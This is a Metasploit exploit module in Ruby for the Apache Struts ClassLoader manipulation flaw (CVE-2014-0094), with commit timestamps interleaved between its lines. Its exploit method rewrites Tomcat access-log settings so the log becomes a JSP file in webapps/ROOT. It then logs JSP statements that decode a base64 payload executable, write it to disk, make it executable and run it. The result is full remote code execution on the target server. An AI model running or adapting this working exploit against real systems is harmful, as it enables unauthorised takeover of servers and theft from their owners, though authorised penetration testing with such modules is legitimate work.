2014-04-29 03:50:45 +02:00
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf :: Exploit :: Remote
Rank = ExcellentRanking
include Msf :: Exploit :: Remote :: HttpClient
include Msf :: Exploit :: EXE
include Msf :: Exploit :: FileDropper
def initialize ( info = { } )
super ( update_info ( info ,
2014-04-29 03:58:04 +02:00
'Name' = > 'Apache Struts ClassLoader Manipulation Remote Code Execution' ,
2014-04-29 03:50:45 +02:00
'Description' = > %q{
This module exploits a remote command execution vulnerability in Apache Struts
2014-04-29 03:58:04 +02:00
versions < 2.3.16.2. This issue is caused because the ParametersInterceptor allows
access to 'class' parameter which is directly mapped to getClass() method and
allows ClassLoader manipulation, which allows remote attackers to execute arbitrary
Java code via crafted parameters.
2014-04-29 03:50:45 +02:00
} ,
'Author' = >
[
2014-04-29 03:58:04 +02:00
'Mark Thomas and Przemyslaw Celej' , # Vulnerability Discovery
'Alvaro Munoz' , # PoC
'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module
2014-04-29 03:50:45 +02:00
] ,
'License' = > MSF_LICENSE ,
'References' = >
[
2014-04-29 03:58:04 +02:00
[ 'CVE' , '2014-0094' ] ,
[ 'URL' , 'http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/' ] ,
[ 'URL' , 'http://struts.apache.org/release/2.3.x/docs/s2-020.html' ]
2014-04-29 03:50:45 +02:00
] ,
'Platform' = > %w{ java linux win } ,
'Privileged' = > true ,
'Targets' = >
[
[ 'Windows Universal' ,
{
'Arch' = > ARCH_X86 ,
'Platform' = > 'windows'
}
] ,
[ 'Linux Universal' ,
{
'Arch' = > ARCH_X86 ,
'Platform' = > 'linux'
}
] ,
[ 'Java Universal' ,
{
'Arch' = > ARCH_JAVA ,
'Platform' = > 'java'
} ,
]
] ,
2014-04-29 03:58:04 +02:00
'DisclosureDate' = > 'Mar 06 2014' ,
2014-04-29 03:50:45 +02:00
'DefaultTarget' = > 2 ) )
register_options (
[
Opt :: RPORT ( 8080 ) ,
2014-04-29 03:58:04 +02:00
OptString . new ( 'TARGETURI' , [ true , 'The path to a struts application action' , " /hello_world/hello.action " ] )
2014-04-29 03:50:45 +02:00
] , self . class )
end
2014-04-29 03:58:04 +02:00
def exec_cmd ( uri , cmd = " " )
2014-04-29 03:50:45 +02:00
resp = send_request_cgi ( {
2014-04-29 03:58:04 +02:00
'uri' = > uri + cmd ,
2014-04-29 03:50:45 +02:00
'version' = > '1.1' ,
'method' = > 'GET' ,
} )
2014-04-29 03:58:04 +02:00
return resp
end
2014-04-29 03:50:45 +02:00
2014-04-29 03:58:04 +02:00
def peer
" #{ rhost } : #{ rport } "
end
2014-04-29 03:50:45 +02:00
2014-04-29 03:58:04 +02:00
def exploit
2014-04-29 03:50:45 +02:00
2014-04-29 03:58:04 +02:00
prefix_jsp = rand_text_alphanumeric ( 3 + rand ( 3 ) )
date_format = rand_text_numeric ( 1 + rand ( 4 ) )
2014-04-29 03:50:45 +02:00
2014-04-29 03:58:04 +02:00
vprint_status ( " #{ peer } - Modifying class loader " )
2014-04-29 11:24:17 +02:00
# Modifies classLoader parameters
exec_cmd ( " #{ datastore [ 'TARGETURI' ] } ?class['classLoader'].resources.context.parent.pipeline.first.directory=webapps/ROOT " ) # Directory where log file os going to be created
exec_cmd ( " #{ datastore [ 'TARGETURI' ] } ?class['classLoader'].resources.context.parent.pipeline.first.prefix= #{ prefix_jsp } " ) # Filename
exec_cmd ( " #{ datastore [ 'TARGETURI' ] } ?class['classLoader'].resources.context.parent.pipeline.first.suffix=.jsp " ) # File extension
exec_cmd ( " #{ datastore [ 'TARGETURI' ] } ?class['classLoader'].resources.context.parent.pipeline.first.fileDateFormat= #{ date_format } " ) # second part of filename: "prefix+fileDateFormat.suffix"
2014-04-29 03:50:45 +02:00
2014-04-29 03:58:04 +02:00
jsp_file = prefix_jsp
jsp_file << date_format
jsp_file << " .jsp "
2014-04-29 03:50:45 +02:00
2014-04-29 03:58:04 +02:00
vprint_status ( " #{ peer } - created file at http:// #{ peer } / #{ jsp_file } " )
2014-04-29 03:50:45 +02:00
2014-04-29 03:58:04 +02:00
sleep ( 3 )
2014-04-29 03:50:45 +02:00
2014-04-29 11:24:17 +02:00
# Inexistent URI that logs on previously created log file (with ".jsp" suffix)
2014-04-29 03:50:45 +02:00
uri = String . new ( datastore [ 'TARGETURI' ] )
2014-04-29 03:58:04 +02:00
uri << rand_text_alphanumeric ( 4 + rand ( 4 ) )
uri << " ? "
uri << rand_text_alphanumeric ( 1 + rand ( 1 ) )
uri << " = "
2014-04-29 03:50:45 +02:00
2014-04-29 03:58:04 +02:00
payload_exe = generate_payload_exe
2014-04-29 03:50:45 +02:00
2014-04-29 03:58:04 +02:00
payload_file = rand_text_alphanumeric ( 4 + rand ( 4 ) )
register_files_for_cleanup ( " #{ payload_file } " , " #{ jsp_file } " )
2014-04-29 03:50:45 +02:00
2014-04-29 11:24:17 +02:00
# Commands to be logged
2014-04-29 03:58:04 +02:00
exec_cmd ( uri , " <%@ page import= \" java.io.FileOutputStream \" %> " )
exec_cmd ( uri , " <%@ page import= \" sun.misc.BASE64Decoder \" %> " )
exec_cmd ( uri , " <%@ page import= \" java.io.File \" %> " )
2014-04-29 03:50:45 +02:00
2014-04-29 03:58:04 +02:00
exec_cmd ( uri , " <% FileOutputStream oFile = new FileOutputStream( \" #{ payload_file } \" , false); %> " )
exec_cmd ( uri , " <% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer( \" #{ Rex :: Text . encode_base64 ( payload_exe ) } \" )); %> " )
exec_cmd ( uri , " <% oFile.flush(); %> " )
exec_cmd ( uri , " <% oFile.close(); %> " )
exec_cmd ( uri , " <% File f = new File( \" #{ payload_file } \" ); %> " )
exec_cmd ( uri , " <% f.setExecutable(true); %> " )
exec_cmd ( uri , " <% Runtime.getRuntime().exec( \" ./ #{ payload_file } \" ); %> " )
2014-04-29 03:50:45 +02:00
2014-04-29 03:58:04 +02:00
vprint_status ( " #{ peer } - Waiting 10 seconds... " )
2014-04-29 03:50:45 +02:00
2014-04-29 03:58:04 +02:00
sleep ( 10 )
2014-04-29 03:50:45 +02:00
2014-04-29 03:58:04 +02:00
vprint_status ( " #{ peer } - Accessing http:// #{ peer } / #{ jsp_file } " )
2014-04-29 03:50:45 +02:00
2014-04-29 11:24:17 +02:00
# Access the log (with ".jsp" extension) in order to execute the JSP notation logged sentences
2014-04-29 03:58:04 +02:00
uri = " / "
uri << jsp_file
2014-04-29 03:50:45 +02:00
2014-04-29 03:58:04 +02:00
exec_cmd ( uri )
2014-04-29 03:50:45 +02:00
end
end